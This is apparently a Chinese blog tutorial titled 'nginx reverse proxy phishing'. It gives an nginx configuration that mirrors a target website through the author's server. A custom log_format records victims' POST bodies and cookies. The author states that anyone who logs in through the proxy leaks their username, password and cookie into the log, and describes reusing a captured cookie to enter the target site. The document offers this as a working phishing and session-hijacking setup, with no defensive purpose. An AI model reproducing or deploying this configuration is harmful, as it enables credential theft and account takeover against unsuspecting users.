nginx反向代理钓鱼

nginx反向代理钓鱼

一、反向代理

反向代理服务器位于用户与目标服务器之间,但是对于用户而言,反向代理服务器就相当于目标服务器,即用户直接访问反向代理服务器就可以获得目标服务器的资源。同时,用户不需要知道目标服务器的地址,也无须在用户端作任何设定。反向代理服务器通常可用来作为Web加速,即使用反向代理作为Web服务器的前置机来降低网络和服务器的负载,提高访问效率。

image-20201021042310179

二、部署配置

1.安装nginx

不做赘述,具体百度。

2.配置文件

打开nginx的配置文件/etc/nginx/nginx.conf,具体虚拟主机的配置包含在另一个文件中

image-20201021043958270

打开/etc/nginx/conf.d/文件夹,新建一个test.conf文件,做具体的信息配置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
server{
listen 8080;
server_name 47.xx.xx.xx;
index index.html index.htm index.php;

access_log /var/log/nginx/test.log Testlog;

location / {
proxy_next_upstream http_502 http_504 error timeout invalid_header;
proxy_pass http://xxx.com/;
proxy_set_header Host 47.xx.xx.xx;
proxy_set_header X-Real-Ip $remote_addr;
proxy_set_header X-Forwarded-For $remote_addr;
}

}

server_name 为域名,这里我用自己服务器的ip
access_log 为设置输出日志的路径
proxy_next_upstream 如果后端的服务器返回 502、504、执行超时等错误,自动将请求转发upstream负载均衡池中的另一台服务器,实现故障转移。
proxy_pass 需要反向代理的网站
proxy_set_header 用于在向反向代理的后端 Web 服务器发起请求时添加指定的 Header头信息。

当后端 Web 服务器上有多个基于域名的虚拟主机时,要通过添加 Header 头信息 Host,用于指定请求的域名,这样后端 Web 服务器才能识别该反向代理访问请求由哪一个虚拟主机来处理。

最后我们还需要设置以下 访问日志需要获取的内容 也是在nginx.conf里修改。在http模块中添加:

1
log_format Testlog escape=json '$request_filename $http_x_forwarded_for $fastcgi_script_name $document_root $request_body' $http_cookie;

Testlog 要和上面的access_log对应不然日志不会起作用。

重点是$request_body(获取post数据),$http_cookie(获取cookie数据)这就是我们钓鱼的核心了。当有人访问并登陆我们反向代理的网站以后 我们点开日志就可以看到他的cookie和post提交的用户名和密码了。

三、上手实战

使用某网站做上述配置进行反向代理,配置完成后访问自己服务器ip,可以看到是自己的ip,显示目标系统的界面,说明反向代理成功。

image-20201021051523406

进行登录操作后,可以在日志中看到获取的cookie

image-20201021052001089

使用cookie进行登录访问,成功进入。

image-20201021052143060

0%